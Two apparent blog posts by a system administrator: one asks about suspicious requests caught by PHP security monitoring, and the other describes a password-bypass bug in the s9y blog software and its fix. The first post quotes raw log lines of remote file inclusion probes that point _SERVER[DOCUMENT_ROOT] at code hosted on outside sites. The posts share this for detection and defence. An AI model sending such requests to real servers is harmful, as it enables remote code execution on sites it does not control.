From my security monitoring:

suhosin[25775]: ALERT - tried to register forbidden variable '_SERVER[DOCUMENT_ROOT]' through GET variables (attacker '67.19.104.82', file '[...]')

The web logs contained:

GET //?_SERVER[DOCUMENT_ROOT]=http://sekip.axspace.com/alat/r0x.txt?? HTTP/1.1

Is this some new PHP attack vector (that happens to be blocked by the suhosin security module)? I thought it was related to ConPresso, but I've also found similar accesses in my logs that were on sites that don't use PHP (and thus did not trigger a suhosin alert). Obviously these don't relate to ConPresso, so it seems more like a brute force / mass attack?

Another host involved:

80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1

That referenced URL still works, so if you want you can retrieve the 'exploit' code. But all it apparently does is to try various methods to execute "id", probably to locate web servers that are vulnerable and maybe even running as "root" user.

Obviously this is a brute force; that site doesn't have an index.php.

Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn't seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.

If you've got any details, contact me at erich@debian.org; my blog intentionally does not have comments or trackbacks.

[Update: I've received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]

Yesterday, a friend mentioned that some program had been accessing most of his (s9y) blog, and apparently even manged to access password protected entries.

Now I'm not a s9y user myself, but somehow I felt like digging into this. I wouldn't consider myself a web security expert, actually. I'm more interested in data mining and such algorithms these days.

It took me 10 minutes to find the problem (despite not having used PHP much in years; I don't trust that programming language; including some searching if it was maybe already reported somewhere). By sending an appropriate POST request, you could override the password used, and that way disabling it.

Granted: "locating" a security issue you know it exists is a lot easier than actually discovering new ones...

Official announcement in the s9y blog, including a fix for the problem.

Memo to the guys who wrote that bot that was accessing the blog of my friend: You messed with the wrong people, guys. We know how to detect your scan, and we'll spoil the fun for you by helping in fixing the bug!